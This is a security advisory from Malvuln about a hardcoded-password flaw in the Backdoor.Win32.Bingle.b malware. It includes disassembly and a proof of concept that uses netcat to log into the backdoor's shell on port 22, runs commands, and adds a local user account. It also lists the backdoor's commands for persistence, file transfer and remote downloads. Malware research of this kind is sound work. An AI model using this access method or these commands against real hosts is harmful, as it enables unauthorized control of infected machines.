Headline
Backdoor.Win32.Bingle.b MVID-2022-0643 Hardcoded Credential
Backdoor.Win32.Bingle.b malware suffers from a hardcoded credential vulnerability.
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022Original source: https://malvuln.com/advisory/eacaa12336f50f1c395663fba92a4d32.txtContact: [email protected]: twitter.com/malvulnThreat: Backdoor.Win32.Bingle.bVulnerability: Weak Hardcoded CredentialsDescription: The malware is packed using ASPack 2.11, listens on TCP port 22 and requires authentication. However, the password "let me in" is weak and hardcoded within the PE file. Unpacking the executable, easily reveals the cleartext password.Family: BingleType: PE32MD5: eacaa12336f50f1c395663fba92a4d32Vuln ID: MVID-2022-0643 Disclosure: 09/24/2022004029A0 call sub_4010E0004029A5 add esp, 0Ch004029A8 cmp eax, ebp004029AA jge short loc_4029CC004029AC mov edi, [esp+eax*4+230h+var_21C]004029B0 mov ecx, ebx004029B2 xor eax, eax004029B4 repne scasb004029B6 not ecx004029B8 sub edi, ecx004029BA mov edx, ecx004029BC mov esi, edi004029BE mov edi, offset aLetMeIn ; "let me in"Exploit/PoC:C:\>nc64.exe x.x.x.x 22let me in Nt Shell 1.0 beta by [email protected] Indicator '#' is NTShell Server output. Type ?help for support commands beyond cmd; ?use at command line for support parameters. Use 'net helpmsg xxx' to see detail message of Error Code.Microsoft Windows [Version 10.0.16299.309](c) 2017 Microsoft Corporation. All rights reserved.C:\Users\Victim\Desktop>whoamiwhoamidesktop-2c3iqho\victimC:\Users\Victim\Desktop>net user hyp3rlinx 1313 /addnet user hyp3rlinx 1313 /addThe command completed successfully.C:\Users\Victim\Desktop>?help#?autorun [name file "args"] --- add the [file] to autorun when reboot, [file] default is ntshell.exe#?canceldata --- abort the previous file transfer command#?chdir <dir> --- change the server current dir to <dir>, can be UNC(share) name#?get <file> [port] --- GET <file> from server, server use [port] to tranfer#?help --- show this HELP#?httpget <url> <file> --- get the 'file' from 'url', eg:httpget http://192.168.0.1 /hackdir/hackprog.exe#?pskill PID --- Kill the Process with PID#?pslist --- List the all process in system#?put <file> [port] --- PUT <file> to server, server use [port] to tranfer#?quit --- QUIT the telnetd program#?restart [<user> [pass]] --- restart the shell as [user] in stead of IUSR_computer if [user] specified, no need to reconnect#?sysinfor --- Get the System os informationDisclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).